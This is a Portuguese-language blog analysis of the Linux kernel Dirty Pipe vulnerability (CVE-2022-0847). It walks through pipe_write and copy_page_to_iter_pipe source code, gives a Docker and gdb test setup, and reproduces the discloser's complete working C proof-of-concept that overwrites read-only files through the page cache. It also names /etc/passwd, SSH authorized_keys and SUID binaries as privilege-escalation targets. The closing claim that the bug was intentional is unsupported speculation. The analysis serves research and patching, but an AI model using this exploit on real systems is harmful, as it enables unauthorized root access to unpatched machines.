
Exploit de prova de conceito e análise detalhada da vulnerabilidade de escalonamento de privilégios no kernel Linux CVE-2022-0847 (Dirty Pipe), incluindo ambiente Docker para teste e depuração.
[toc]
Este artigo foi publicado originalmente na conta pública de segurança da Huawei; esta é a versão do blog (mais completa).
Link da publicação original: https://mp.weixin.qq.com/s/6VhWBOzJ7uu80nzFxe5jpg
Identificador da vulnerabilidade: CVE-2022-0847 (também conhecida como: Dirty Pipe)
Produto vulnerável: kernel Linux - syscall splice
Versões afetadas: Linux 5.8 (introduzida pelo patch f6dd975583bd) com correção em 5.16.11, 5.15.25, 5.10.102
Impacto: permite gravar até uma página de conteúdo em qualquer arquivo legível (o que é suficiente) e possibilita escalada local de privilégios.
Docker para análise da vulnerabilidade: chenaotian/cve-2022-0847 (se ainda não conseguir acessar, é porque ainda não terminei de enviar).
Fornece:
Inicialização:
cd ~/cve-2022-0847
gcc exp.c -o exp --static && cp exp ./rootfs && cd rootfs
find . | cpio -o --format=newc > ../rootfs.img
cd ../
./boot.sh
Depuração:
gdb ./vmlinux
target remote :10086
directory /root/linux-5.13
b do_splice
b copy_page_to_iter_pipe
b pipe_write
ignore 3 15
...
p *(struct pipe_inode_info *) pipe
p (struct pipe_buffer)pipe->bufs[0]
O princípio resumido da vulnerabilidade é que a chamada da função
splicepode enviar arquivos para opipena forma de "cópia zero". No nível do código, a cópia zero consiste em usar diretamente a página de cache do arquivo (page cache) como páginabufdopipe. Porém, isso introduz uma vulnerabilidade de variável não inicializada, fazendo com que a página de cache do arquivo seja tratada, posteriormente, no canal dopipe, como uma página comum de cache dopipee seja "continuada a escrita", sendo assim adulterada. No entanto, nesse caso, o kernel não considera essa página de cache como uma "página suja" (dirty page), e ela não será gravada no disco por um curto período (até a próxima reinicialização, por exemplo). Durante esse período, todos os acessos ao arquivo usarão a página de cache adulterada, alcançando assim uma operação de "escrita arbitrária por um curto período em qualquer arquivo legível". Isso possibilita a escalada local de privilégios.
De acordo com o patch, o ponto de ocorrência da vulnerabilidade está na função copy_page_to_iter_pipe, onde foi adicionada a inicialização de buf->flags; portanto, trata-se de uma vulnerabilidade de variável não inicializada.

O ponto de chamada de copy_page_to_iter_pipe ocorre na chamada de sistema splice. A função splice (chamada de sistema) entrega o conteúdo do arquivo ao pipe por meio de um método de "cópia zero". Isso tem melhor desempenho do que o método tradicional de enviar o conteúdo do arquivo diretamente para o pipe. Os detalhes são apresentados a seguir.
Primeiramente, como o apelido da vulnerabilidade é "Dirty Pipe", vamos entender o pipe. O pipe é um canal de comunicação fornecido pelo kernel, criado pelas funções pipe/pipe2, retornando dois descritores de arquivo: um para enviar dados e outro para recebê-los, como as duas extremidades de um cano. Não vou falar muito sobre o uso específico.
Falando brevemente sobre a implementação no kernel: normalmente o espaço total do buffer do pipe é de 65536 bytes, gerenciado na forma de páginas, totalizando 16 páginas (4096 bytes por página). As páginas não são contíguas; elas são gerenciadas por um array, formando uma lista circular. São mantidos dois ponteiros da lista: um para escrita (pipe->head) e um para leitura (pipe->tail). Aqui vamos analisar principalmente a função pipe_write:
linux-5.13\fs\pipe.c : 400 : pipe_write
static ssize_t
pipe_write(struct kiocb *iocb, struct iov_iter *from)
{
struct file *filp = iocb->ki_filp;
struct pipe_inode_info *pipe = filp->private_data;
unsigned int head;
ssize_t ret = 0;
size_t total_len = iov_iter_count(from);
ssize_t chars;
bool was_empty = false;
bool wake_next_writer = false;
··· ···
··· ···
head = pipe->head;
was_empty = pipe_empty(head, pipe->tail);
chars = total_len & (PAGE_SIZE-1);
if (chars && !was_empty) {
//[1]pipe 缓存不为空,则尝试是否能从当前最后一页"接着"写
unsigned int mask = pipe->ring_size - 1;
struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask];
int offset = buf->offset + buf->len;
if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
offset + chars <= PAGE_SIZE) {
/*[2]关键,如果PIPE_BUF_FLAG_CAN_MERGE 标志位存在,代表该页允许接着写
*如果写入长度不会跨页,则接着写,否则直接另起一页 */
ret = pipe_buf_confirm(pipe, buf);
···
ret = copy_page_from_iter(buf->page, offset, chars, from);
···
}
buf->len += ret;
···
}
}
for (;;) {//[3]如果上一页没法接着写,则重新起一页
··· ···
head = pipe->head;
if (!pipe_full(head, pipe->tail, pipe->max_usage)) {
unsigned int mask = pipe->ring_size - 1;
struct pipe_buffer *buf = &pipe->bufs[head & mask];
struct page *page = pipe->tmp_page;
int copied;
if (!page) {//[4]重新申请一个新页
page = alloc_page(GFP_HIGHUSER | __GFP_ACCOUNT);
if (unlikely(!page)) {
ret = ret ? : -ENOMEM;
break;
}
pipe->tmp_page = page;
}
spin_lock_irq(&pipe->rd_wait.lock);
head = pipe->head;
··· ···
pipe->head = head + 1;
spin_unlock_irq(&pipe->rd_wait.lock);
/* Insert it into the buffer array */
buf = &pipe->bufs[head & mask];
buf->page = page;//[5]将新申请的页放到页数组中
buf->ops = &anon_pipe_buf_ops;
buf->offset = 0;
buf->len = 0;
if (is_packetized(filp))
buf->flags = PIPE_BUF_FLAG_PACKET;
else
buf->flags = PIPE_BUF_FLAG_CAN_MERGE;
//[6]设置flag,默认PIPE_BUF_FLAG_CAN_MERGE
pipe->tmp_page = NULL;
copied = copy_page_from_iter(page, 0, PAGE_SIZE, from);
//[7]拷贝操作
··· ···
ret += copied;
buf->offset = 0;
buf->len = copied;
··· ···
}
··· ···
}
··· ···
return ret;
}
pipe atual não estiver vazio (o estado vazio é determinado por head==tail), significa que há dados não lidos no pipe; então obtém-se o ponteiro head, que aponta para a página mais recente usada para escrita, e verifica-se len e offset dessa página (para encontrar o final dos dados). Em seguida, tenta-se continuar escrevendo na página atual.PIPE_BUF_FLAG_CAN_MERGE; se ela não existir, não é permitido continuar escrevendo na página atual. Ou se os dados atuais, ao serem concatenados aos dados anteriores, ultrapassarem uma página (ou seja, a escrita cruza a fronteira da página), também não é possível continuar.alloc_page aloca uma nova página.buf->flag é inicializado por padrão como PIPE_BUF_FLAG_CAN_MERGE, pois o estado padrão permite que a página continue sendo escrita.O ponto-chave da exploração é a flag PIPE_BUF_FLAG_CAN_MERGE não inicializada no splice, que determina se podemos continuar escrevendo em uma página "não totalmente escrita" do pipe.
Como mencionado acima, o pipe utiliza 16 páginas gerenciadas como buffer. O método de cópia zero do splice consiste em substituir diretamente as páginas de buffer do pipe pelas páginas de cache do arquivo (alterando o ponteiro da página de buffer do pipe para apontar para a página de cache do arquivo).

A pilha de chamadas da chamada de sistema splice até a função vulnerável copy_page_to_iter_pipe é profunda; não vou analisar em detalhes. A pilha de chamadas é a seguinte:
SYSCALL_DEFINE6(splice,...) -> __do_sys_splice -> __do_splice-> do_splice
splice_file_to_pipe -> do_splice_to
generic_file_splice_read (in->f_op->splice_read, por padrão, é generic_file_splice_read)
call_read_iter -> filemap_read
copy_page_to_iter -> copy_page_to_iter_pipeA função onde está a vulnerabilidade, copy_page_to_iter_pipe, tem como principal trabalho fazer a estrutura da página de buffer do pipe apontar para a página de cache do arquivo a ser transmitido:
linux-5.13\lib\iov_iter.c : 417 : copy_page_to_iter_pipe
static size_t copy_page_to_iter_pipe(struct page *page, size_t offset, size_t bytes,
struct iov_iter *i)
{
struct pipe_inode_info *pipe = i->pipe;
struct pipe_buffer *buf;
unsigned int p_tail = pipe->tail;
unsigned int p_mask = pipe->ring_size - 1;
unsigned int i_head = i->head;
size_t off;
··· ···
off = i->iov_offset;
buf = &pipe->bufs[i_head & p_mask];//[1]获取对应的pipe 缓存页
··· ···
buf->ops = &page_cache_pipe_buf_ops;//[2]修改pipe 缓存页的相关信息指向文件缓存页
get_page(page);
buf->page = page;//[2]页指针指向了文件缓存页
buf->offset = offset;//[2]offset len 等设置为当前信息(通过splice 传入参数决定)
buf->len = bytes;
pipe->head = i_head + 1;
i->iov_offset = offset + bytes;
i->head = i_head;
out:
i->count -= bytes;
return bytes;
}
pipe, encontra-se a posição atual do ponteiro de escrita (pipe->head).len, que é determinado pelos parâmetros passados à chamada de sistema splice. Aqui, apenas o flag não é inicializado, causando a vulnerabilidade.Normalmente, depois de inicializado, pipe->bufs fica assim:

Nesse momento, de acordo com o código de pipe_write analisado acima, se pipe_write for chamado novamente para escrever dados no pipe, o ponteiro de escrita (pipe->head) aponta para a página da figura acima e o flag é PIPE_BUF_FLAG_CAN_MERGE; o kernel considerará que é possível continuar escrevendo nessa página, desde que o comprimento da escrita não ultrapasse a página:
#define PIPE_BUF_FLAG_CAN_MERGE 0x10 /* can merge buffers */
if (chars && !was_empty) {
//[1]pipe 缓存不为空,则尝试是否能从当前最后一页"接着"写
unsigned int mask = pipe->ring_size - 1;
struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask];
int offset = buf->offset + buf->len;
if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
offset + chars <= PAGE_SIZE) {
/*[2]关键,如果PIPE_BUF_FLAG_CAN_MERGE 标志位存在,代表该页允许接着写
*如果写入长度不会跨页,则接着写,否则直接另起一页 */
ret = pipe_buf_confirm(pipe, buf);
···
ret = copy_page_from_iter(buf->page, offset, chars, from);
O Linux coloca os arquivos abertos em páginas de cache; depois de usada, a página de cache também é mantida por um tempo para evitar operações de I/O desnecessárias. Acessar o mesmo arquivo em um curto período sempre opera a mesma página de cache do arquivo, em vez de abri-lo repetidamente. Como adulteramos essa página de cache do arquivo por esse método, qualquer acesso (leitura) ao arquivo nesse curto período lerá a página de cache adulterada, concluindo a exploração.
Como já foi descrito acima, o processo de exploração é muito simples; basta entender o princípio da vulnerabilidade para explorá-la. De acordo com o procedimento do autor, o processo é aproximadamente o seguinte:
pipe_write), de modo que todos os buf (páginas de buffer do pipe) sejam inicializados, com flag inicializado por padrão como PIPE_BUF_FLAG_CAN_MERGE.pipe_read), para que, ao transferir o arquivo pela chamada de sistema splice, sejam usadas as estruturas buf originais já inicializadas.splice para transferir o arquivo que se deseja adulterar.pipe (pipe_write); neste momento, o conteúdo sobrescreve a página de cache do arquivo, concluindo a adulteração temporária do arquivo.Após a segunda etapa, com o pipe cheio e depois esvaziado, é possível ver que a estrutura bufs contém exatamente os dados que serão reutilizados pelo conteúdo não inicializado posteriormente:
p *(struct pipe_inode_info *) pipe
p (struct pipe_buffer)pipe->bufs[0]

Depois que o arquivo é transferido via splice, o estado muda para o seguinte, em que flag não é inicializado. Aqui, len deve ser definido o menor possível, pois quanto menor, maior será o comprimento que poderemos escrever posteriormente na "continuação". Aqui é definido como 1, e o deslocamento como o endereço inicial que queremos adulterar; isso fará o ponteiro pipe->bufs->page apontar para o endereço inicial:
splice(fd, &offset, p[1], NULL, 1, 0);

Ao chamar pipe_write novamente, a condição de continuação é satisfeita e a escrita é feita diretamente na página:

Não fui eu que escrevi; é o da divulgação da vulnerabilidade:
/* SPDX-License-Identifier: GPL-2.0 */
/*
* Copyright 2022 CM4all GmbH / IONOS SE
*
* author: Max Kellermann <[email protected]>
*
* Proof-of-concept exploit for the Dirty Pipe
* vulnerability (CVE-2022-0847) caused by an uninitialized
* "pipe_buffer.flags" variable. It demonstrates how to overwrite any
* file contents in the page cache, even if the file is not permitted
* to be written, immutable or on a read-only mount.
*
* This exploit requires Linux 5.8 or later; the code path was made
* reachable by commit f6dd975583bd ("pipe: merge
* anon_pipe_buf*_ops"). The commit did not introduce the bug, it was
* there before, it just provided an easy way to exploit it.
*
* There are two major limitations of this exploit: the offset cannot
* be on a page boundary (it needs to write one byte before the offset
* to add a reference to this page to the pipe), and the write cannot
* cross a page boundary.
*
* Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
*
* Further explanation: https://dirtypipe.cm4all.com/
*/
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
/**
* Create a pipe where all "bufs" on the pipe_inode_info ring have the
* PIPE_BUF_FLAG_CAN_MERGE flag set.
*/
static void prepare_pipe(int p[2])
{
if (pipe(p)) abort();
const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
static char buffer[4096];
/* fill the pipe completely; each pipe_buffer will now have
the PIPE_BUF_FLAG_CAN_MERGE flag */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
write(p[1], buffer, n);
r -= n;
}
/* drain the pipe, freeing all pipe_buffer instances (but
leaving the flags initialized) */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}
/* the pipe is now empty, and if somebody adds a new
pipe_buffer without initializing its "flags", the buffer
will be mergeable */
}
int main(int argc, char **argv)
{
if (argc != 4) {
fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);
return EXIT_FAILURE;
}
/* dumb command-line argument parser */
const char *const path = argv[1];
loff_t offset = strtoul(argv[2], NULL, 0);
const char *const data = argv[3];
const size_t data_size = strlen(data);
if (offset % PAGE_SIZE == 0) {
fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
return EXIT_FAILURE;
}
const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
const loff_t end_offset = offset + (loff_t)data_size;
if (end_offset > next_page) {
fprintf(stderr, "Sorry, cannot write across a page boundary\n");
return EXIT_FAILURE;
}
/* open the input file and validate the specified offset */
const int fd = open(path, O_RDONLY); // yes, read-only! :-)
if (fd < 0) {
perror("open failed");
return EXIT_FAILURE;
}
struct stat st;
if (fstat(fd, &st)) {
perror("stat failed");
return EXIT_FAILURE;
}
if (offset > st.st_size) {
fprintf(stderr, "Offset is not inside the file\n");
return EXIT_FAILURE;
}
if (end_offset > st.st_size) {
fprintf(stderr, "Sorry, cannot enlarge the file\n");
return EXIT_FAILURE;
}
/* create the pipe with all flags initialized with
PIPE_BUF_FLAG_CAN_MERGE */
int p[2];
prepare_pipe(p);
/* splice one byte from before the specified offset into the
pipe; this will add a reference to the page cache, but
since copy_page_to_iter_pipe() does not initialize the
"flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
--offset;
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
if (nbytes < 0) {
perror("splice failed");
return EXIT_FAILURE;
}
if (nbytes == 0) {
fprintf(stderr, "short splice\n");
return EXIT_FAILURE;
}
/* the following write will not create a new pipe_buffer, but
will instead write into the page cache, because of the
PIPE_BUF_FLAG_CAN_MERGE flag */
nbytes = write(p[1], data, data_size);
if (nbytes < 0) {
perror("write failed");
return EXIT_FAILURE;
}
if ((size_t)nbytes < data_size) {
fprintf(stderr, "short write\n");
return EXIT_FAILURE;
}
printf("It worked!\n");
return EXIT_SUCCESS;
}
Escalada de privilégios bem-sucedida:
gcc exp.c -o exp --static
./exp file offset string

Aqui foi demonstrado apenas o efeito de escrita arbitrária em arquivos. Para exploração real, é possível modificar /etc/passwd, chaves SSH ou alguns arquivos SUID para concluir a escalada de privilégios. Não vou fazer a operação prática aqui (de qualquer forma, não estou fazendo pentest).
Por ser uma vulnerabilidade do kernel, não há uma boa solução de tratamento no momento; recomenda-se atualizar o kernel para as versões corrigidas: 5.16.11, 5.15.25, 5.10.102 ou superiores.
Com base no PoC divulgado por quem reportou a vulnerabilidade, escrevi uma ferramenta simples de verificação. Se a vulnerabilidade estiver presente, a saída será "There is CVE-2022-0847":

Se a vulnerabilidade não estiver presente, a saída será "You are safe!".
Divulgação da vulnerabilidade: https://dirtypipe.cm4all.com/
A flag PIPE_BUF_FLAG_CAN_MERGE aparece apenas 5 vezes no total: uma vez na declaração #define, duas vezes em pipe_write. As duas restantes estão em splice:

Além disso, a partir do código em que essa variável participa, dá para ver que o significado dela é justamente permitir ou não a continuação da escrita na página de buffer mais recente do pipe. Em geral, uma página alocada pelo próprio pipe é apenas uma página comum; continuar escrevendo nela é perfeitamente normal. Quando não se pode continuar? Quando essa página não foi alocada pelo próprio pipe, não se pode alterá-la arbitrariamente. Portanto, pelo que se vê atualmente, praticamente só no splice existem páginas que não foram alocadas pelo próprio pipe. Em outras palavras, a flag PIPE_BUF_FLAG_CAN_MERGE foi projetada exatamente para o splice. E então você me diz que ela não é inicializada?
Portanto, suspeito que essa vulnerabilidade não foi, de forma alguma, um descuido....